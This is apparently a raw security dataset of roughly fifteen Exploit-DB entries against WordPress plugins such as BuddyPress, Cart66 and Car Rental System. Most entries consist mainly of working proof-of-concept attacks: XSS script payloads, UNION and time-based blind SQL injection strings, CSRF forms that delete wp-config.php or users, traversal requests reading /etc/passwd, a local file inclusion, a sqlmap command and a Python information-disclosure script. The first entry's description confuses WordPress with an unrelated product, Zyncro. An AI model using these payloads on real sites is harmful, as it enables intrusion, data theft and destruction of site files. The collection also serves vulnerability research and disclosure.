deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36166
Description: WordPress Plugin BuddyPress 1.2.10 / WordPress Theme DEV Blogs Mu 1.2.6 (WordPress 3.1.4) - Regular Subscriber HTML Injection
Type: webapps
Platform: php
Date: 2011-09-26
Author: knull

Exploit:
source: https://www.securityfocus.com/bid/49765/info

Multiple products are prone to an HTML-injection vulnerability because they fail to sufficiently sanitize user-supplied input.

An attacker could exploit this vulnerability to execute arbitrary script code in the browser of an unsuspecting victim in the context of the affected websites. This may allow the attacker to steal cookie-based authentication credentials or control how the websites are rendered to the user. Other attacks are also possible.

The following products are affected:

WordPress 3.1.4
BuddyPress 1.2.10
Blogs MU 1.2.6 

One of the functionalities of Zyncro is the possibility of creating
groups. The name and description of the groups are not correctly
sanitized and it's possible to provoke some attacks.

In order to do the attack, you must create a new group and capture the
packet transferred to the server to modify it because validation is
done in client-side (only) using javascript.

The original request has three POST data parameters like:
popup=1   &   name=dGVzdA%3D%3D   &   description=dGVzdA%3D%3D

Important data are 'name' and 'description' parameters, which are
base64 encoded. In this case, both values are 'test':
 url_decode(dGVzdA%3D%3D)
 b64decode(dGVzdA==)
 test

It is possible to provoke the XSS by changing those values as follows:
"><script>alert("XSS attack")</script>

Values MUST be in base64, so:
b64encode(""><script>alert("XSS attack")</script>") =
Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4=

Finally the post-data of the request would become:
popup=1&name=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d&description=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d

Once the request has reached the server, a new group would be created
and any time that someone sees the name/description of the group, a
pop-up would appear, this is the easiest attack.
Exploit-DB #31571
Description: WordPress Plugin BuddyPress 1.9.1 - Privilege Escalation
Type: webapps
Platform: php
Date: 2014-02-11
Author: Pietro Oliva

Exploit:
# Exploit Title: Wordpress plugin Buddypress <= 1.9.1 privilege escalation
# Date: 11/02/2014
# Exploit Author: Pietro Oliva
# Vendor Homepage: http://buddypress.org
# Software Link: http://downloads.wordpress.org/plugin/buddypress.1.9.1.zip
# Version: 1.9.1
# CVE : [CVE-2014-1889]
# Vulnerability patched in version 1.9.2

it is possible to perform a privilege escalation attack due to a lack of
permissions check in the group creation process. A malicious user could
exploit this vulnerability to take control of every group (change name,
description, avatar and settings).
To exploit this vulnerability you have to follow these steps:

1) Create a cookie named bp_new_group_id=<id_of_victim_group>
2) Visit the url http://example.com/groups/create/step/group-details/
3) Enjoy the power
Exploit-DB #37629
Description: WordPress Plugin BuddyPress Activity Plus 1.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-07-17
Author: Tom Adams

Exploit:
Details
================
Software: BuddyPress Activity Plus
Version: 1.5
Homepage: http://wordpress.org/plugins/buddypress-activity-plus/
Advisory report: https://security.dxw.com/advisories/csrf-and-arbitrary-file-deletion-in-buddypress-activity-plus-1-5/
CVE: Awaiting assignment
CVSS: 8.5 (High; AV:N/AC:L/Au:N/C:N/I:P/A:C)

Description
================
CSRF and arbitrary file deletion in BuddyPress Activity Plus 1.5

Vulnerability
================
An attacker can delete any file the PHP process can delete.
For this to happen, a logged-in user would have to be tricked into clicking on a link controlled by the attacker. It is easy to make these links very convincing.

Proof of concept
================
Ensure your PHP user can do maximum damage:
sudo chown www-data:www-data /var/vhosts/my-wordpress-site
Visit a page containing this as a logged-in user and click submit:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
  <input type=\"text\" name=\"action\" value=\"bpfb_remove_temp_images\">
  <input type=\"text\" name=\"data\" value=\"bpfb_photos[]=../../../../wp-config.php\">
  <input type=\"submit\">
</form>
If the server is set up so that the php user has more restricted permissions, then an attacker will at least be able to delete files from the uploads directory.
Note that you can also delete as many things as you like at once – $_POST[‘data’] is run through parse_str() which parses it as a query string, so just keep adding “&bpfb_photos[]=path/to/file” to the end until you have all known files.
There is an identical attack available only when BP Group Documents is also installed. Just replace “bpfb_remove_temp_images” with “bpfb_remove_temp_documents” and in data replace “bpfb_photos” with “bpfb_documents”.

Mitigations
================
Upgrade to version 1.6.2 or later
If this is not possible, ensure that the PHP user on the server does not have permission to delete files like wp-config.php.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2013-08-22: Discovered
2015-07-13: Reported to vendor via contact form at https://premium.wpmudev.org/contact/
2015-07-13: Requested CVE
2015-07-13: Vendor responded
2015-07-14: Vendor reported issue fixed
2015-07-14: Published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
Exploit-DB #18690
Description: WordPress Plugin BuddyPress Plugin 1.5.x < 1.5.5 - SQL Injection
Type: webapps
Platform: php
Date: 2012-03-31
Author: Ivan Terkin

Exploit:
# Exploit Title: Buddypress plugin of Wordpress remote SQL Injection
# Date: March 31, 2012
# Author: Ivan Terkin
# Exploitation: Remote Exploit
# Bug: Remote SQL Injection
# Software Link: buddypress.org
# Version: till 1.5.5
# Tested on: Buddypress 1.5.4


POST /wp-load.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/activity/?s=b
Connection: Keep-Alive
Content-Length: 153
Content-Type: application/x-www-form-urlencoded

action=activity_widget_filter&page=1%26exclude%3d1)and(1=0)UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17))%3b--+

Reported to developers and fixed in version 1.5.5
Exploit-DB #34572
Description: WordPress Plugin Bulk Delete Users by Email 1.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-09-08
Author: Fikri Fadzil

Exploit:
# Exploit Title: Bulk Delete Users by Email, Wordpress Plugin 1.0 - CSRF
# Google Dork: N/A
# Date: 05.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - http://www.speakdigital.co.uk/
# Software Link: https://wordpress.org/plugins/bulk-delete-users-by-email/
# Version: 1.0
# Tested on: PHP


Description:
This plugin will allow administrator to delete user(s) account by entering
their email address.

Proof of Concept
1. Force the administrator to send below request:

URL :
http://localhost/blog/wp-admin/admin.php?page=bulk-delete-users-by-email/plugin.php
METHOD : POST
REQUEST : de-text=<victim email>&submit=Search+and+Delete

* As the result, user with the given email address will be deleted.
Exploit-DB #50382
Description: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
Type: webapps
Platform: php
Date: 2021-10-06
Author: Ron Jost

Exploit:
# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
# Date 04.10.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
# Version: <= 5.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39327
# CWE: CWE-200
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md


'''
Description:
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible 
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. 
This affects versions up to, and including, 5.1.
'''

'''
'Banner:
'''
banner = '''
  ______     _______     ____   ___ ____  _      _____ ___ _________ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ // _ \___ /___ \___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ |_ \ (_) ||_ \ __) | / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____|__) \__, |__) / __/ / /  
 \____|  \_/  |_____|   |_____|\___/_____|_|    |____/  /_/____/_____/_/   
                                                                           
                                * Sensitive information disclosure
                                @ Author: Ron Jost
'''
print(banner)


import argparse 
import requests

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
print('')
print('[*] Starting Exploit:')
print('')

paths = ["/wp-content/bps-backup/logs/db_backup_log.txt",  "/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"]

# Exploit
for pathadd in paths:
    x = requests.get("http://" + target_ip + ':' + target_port + '/' + wp_path + pathadd)
    print(x.text)
Exploit-DB #36600
Description: WordPress Plugin Business Intelligence - SQL Injection (Metasploit)
Type: webapps
Platform: php
Date: 2015-04-02
Author: Jagriti Sahu

Exploit:
##################################################################################################
#Exploit Title : Wordpress Plugin 'Business Intelligence' Remote SQL Injection vulnerability
#Author        : Jagriti Sahu AKA Incredible
#Vendor Link   : https://www.wpbusinessintelligence.com
#Download Link : https://downloads.wordpress.org/plugin/wp-business-intelligence-lite.1.6.1.zip
#Date          : 1/04/2015
#Discovered at : IndiShell Lab
#Love to       : error1046 ^_^ ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ^_^
##################################################################################################

////////////////////////
/// Overview:
////////////////////////

Wordpress plugin "Business Intelligence" is not filtering data in GET parameter  ' t ', which in is file 'view.php'
and passing user supplied data to SQL queries' hence SQL injection vulnerability has taken place.



///////////////////////////////
// Vulnerability Description: /
///////////////////////////////

vulnerability is due to parameter " t " in file 'view.php'.
user can inject sql query using GET parameter 't'


////////////////
///  POC   ////
///////////////


POC Image URL--->
=================
http://tinypic.com/view.php?pic=r8dyl0&s=8#.VRrvcuHRvIU


SQL Injection in parameter 't' (file 'view.php'):
=================================================

Injectable Link--->    http://server/wp-content/plugins/wp-business-intelligence/view.php?t=1

Union based SQL injection exist in the parameter which can be exploited as follows:


Payload used in Exploitation for Database name --->

http://server/wp-content/plugins/wp-business-intelligence/view.php
?t=1337+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()--+


###
EDB Note: PoC might need work depending on version of plugin.
The provided software link is for the lite version.
Tested with following PoC: 
wp-content/plugins/wp-business-intelligence-lite/view.php?t=1 and 1=1
wp-content/plugins/wp-business-intelligence-lite/view.php?t=1 and 1=2
###


###################################################################################################


				   --==[[Special Thanks to]]==--

			          #  Manish Kishan Tanwar  ^_^ #
Exploit-DB #50843
Description: WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2022-03-30
Author: Hassan Khan Yusufzai

Exploit:
# Exploit Title: WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion
# Google Dork: inurl:/wp-content/plugins/cab-fare-calculator/
# Date: 24-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/cab-fare-calculator/
# Version: 1.0.3
# Tested on: Firefox
# Vulnerable File: tblight.php

# Impact:

Local File Read / Code Execution

# Vulnerable Code:

```
if(!empty($_GET['controller']) && !empty($_GET['action']) &&
!empty($_GET['ajax']) && $_GET['ajax'] == 1)
{
    require_once('' . 'controllers/'.$_GET['controller'].'.php');
}
```

# Proof of concept:

http://localhost:10003/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/index&action=1&ajax=1

# POC Code Execution:

/etc/index.php:

<?php echo "Local file read"; phpinfo(); ?>
Exploit-DB #36230
Description: WordPress Plugin Calculated Fields Form 1.0.10 - SQL Injection
Type: webapps
Platform: php
Date: 2015-03-02
Author: Ibrahim Raafat

Exploit:
[+] Calculated Fields Form Wordpress Plugin <= 1.0.10 - Remote SQL Injection Vulnerability
[+] Author: Ibrahim Raafat
[+] Twitter: https://twitter.com/RaafatSEC
[+] Plugin: https://wordpress.org/plugins/calculated-fields-form/

[+] TimeLine
	[-] Feb 6 2015, The vulnerabilities reported
	[-] Feb 7 2015, Response and Confirming the vulnerabilities 
	[-] Feb 8 2015, First fixing released to version 1.0.11
	[-] Feb 17 2015, CSRF protection added to version 1.0.12
	[-] March 1 2015, Public Disclosure

[+] Download: https://downloads.wordpress.org/plugin/calculated-fields-form.1.0.10.zip

[+] Description:
	There are sql injection vulnerabilities in Calculated Fields Form Plugin
	which could allow the attacker to execute sql queries into database

[+] Vulnerable Code: [Red]
https://plugins.trac.wordpress.org/changeset/1084937/calculated-fields-form

[+] POC: 

/wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 and 1=1&name=InsertText 
/wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 or 1=1&name=InsertText // Will update all
/wp-admin/options-general.php?page=cp_calculated_fields_form&c=21 and 1=1 
/wp-admin/options-general.php?page=cp_calculated_fields_form&d=3 and 1=2  Delete

These queries are execute without any csrf protection, The attacker can use this csrf vulnerability to execute queries in the sql by sending malicious page to the logged in admin

[+] Impact: Attacker can use this vulnerabilities to update admin password

[+] Recommendation: If you are using 1.0.12 or less, Upgrade the plugin ASAP

[+] @lnxg33k Enta Sa3eed Bahlol?
Exploit-DB #37754
Description: WordPress Plugin Candidate Application Form 1.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-08-10
Author: Larry W. Cashdollar

Exploit:
Title: Remote file download vulnerability in candidate-application-form v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-12
Download Site: https://wordpress.org/plugins/candidate-application-form
Vendor: https://profiles.wordpress.org/flaxlandsconsulting/
Vendor Notified: 2015-07-12
Vendor Contact:
Description: This plugin allows you to easily add a candidate application form to a job vacancy post, which allows the candidate to apply for the vacancy.
Vulnerability:
The code in downloadpdffile.php  doesn't do any sanity checks, allowing a remote attacker to download sensitive system files:

 <?php
  2 $file_name = $_GET["fileName"];
  3 $path = $_GET["fileUrl"];
  4 $fullfile = $path.$file_name;
  5 if (file_exists('../../uploads/candidate_application_form/'.$file_name)) {
  6     header('Pragma: public');   // required
  7     header('Expires: 0');       // no cache
  8     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  9     header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ('../../uploads/candidate_application_form/'.$file_    name)).' GMT');
 10     header('Cache-Control: private',false);
 11     header('Content-Type: '.'application/pdf');
 12     header('Content-Disposition: attachment; filename="'.basename('../../uploads/candidate_application_form/'.$file_    name).'"');
 13     header('Content-Transfer-Encoding: binary');
 14     header('Content-Length: '.filesize('../../uploads/candidate_application_form/'.$file_name));    // provide file     size
 15     header('Connection: close');
 16     readfile('../../uploads/candidate_application_form/'.$file_name);     // push it out
 17     exit();
 18 }

CVEID:
OSVDB:
Exploit Code:
  • $ curl http://server/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd
Exploit-DB #43012
Description: WordPress Plugin Car Park Booking - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-17
Author: 8bitsec

Exploit:
# Exploit Title: Wordpress Plugin Car Park Booking - SQL Injection
# Date: 2017-10-17
# Exploit Author: 8bitsec
# Vendor Homepage: https://codecanyon.net/item/car-park-booking-wordpress-plugin/20284035
# Software Link: https://codecanyon.net/item/car-park-booking-wordpress-plugin/20284035
# Version: 13 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-17

Product & Service Introduction:
===============================
Generate more sales, enhance your car park booking service, and have more time to organize the business.

Technical Details & Description:
================================

SQL injection on [space_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/booking-page/?step=3&space_id=9 AND SLEEP(5)&re_price=12

Parameter: space_id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: step=3&space_id=9 AND SLEEP(5)&re_price=12

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #41920
Description: WordPress Plugin Car Rental System 2.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-25
Author: TAD GROUP

Exploit:
# Exploit Title: Car Rental System v2.5
# Date: 28/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: https://www.bestsoftinc.com/
# Software Link: https://www.bestsoftinc.com/car-rental-system.html
# Version: 2.5
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Car Rental System v2.5 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameters 'pickuploc', 'dropoffloc', and 'car_type' are vulnerable.

2. Proof of concept

sqlmap -u "http://server/wp-car/" —data="pickuploc=2&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=" --dbs --threads=5 --random-agent

Parameter: pickuploc (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pickuploc=2 AND 3834=3834&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pickuploc=2 AND SLEEP(5)&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=

The same is applicable for 'dropoffloc' and 'car_type' parameters


3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.5

6. Disclosure timeline

13-Mar-2017 - found the vulnerability
13-Mar-2017 - informed the developer
28-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.
Exploit-DB #35459
Description: WordPress Plugin Cart66 Lite eCommerce 1.5.1.17 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-12-03
Author: Kacper Szurek

Exploit:
# Exploit Title: Cart66 Lite WordPress Ecommerce 1.5.1.17 Blind SQL Injection
# Date: 29-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/cart66-lite.1.5.1.17.zip
# Category: webapps
  
1. Description
  
Cart66Ajax::shortcodeProductsTable() is accessible for every registered user.

$postId is not escaped correctly (only html tags are stripped).

File: cart66-lite\models\Cart66Ajax.php
public static function shortcodeProductsTable() {
    global $wpdb;
    $prices = array();
    $types = array();
    $postId = Cart66Common::postVal('id');
    $product = new Cart66Product();
    $products = $product->getModels("where id=$postId", "order by name");
    $data = array();
}

http://security.szurek.pl/cart66-lite-wordpress-ecommerce-15117-blind-sql-injection.html
  
2. Proof of Concept

Login as regular user (created using wp-login.php?action=register):

<form action="http://wordpress-install/wp-admin/admin-ajax.php" method="post">
    <input type="hidden" name="action" value="shortcode_products_table">
    Blind SQL Injection: <input type="text" name="id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM wp_users WHERE ID = 1) -- ">
    <input value="Hack" type="submit">
</form>

This SQL will check if first password character user ID=1 is $.

If yes, it will sleep 5 seconds.
  
3. Solution:
  
Update to version 1.5.2
https://wordpress.org/plugins/cart66-lite/changelog/
https://downloads.wordpress.org/plugin/cart66-lite.1.5.2.zip
Exploit-DB #37177
Description: WordPress Plugin CataBlog 1.6 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53520/info

CataBlog plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CataBlog 1.6 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=catablog-gallery&category="><script>alert(1)</script>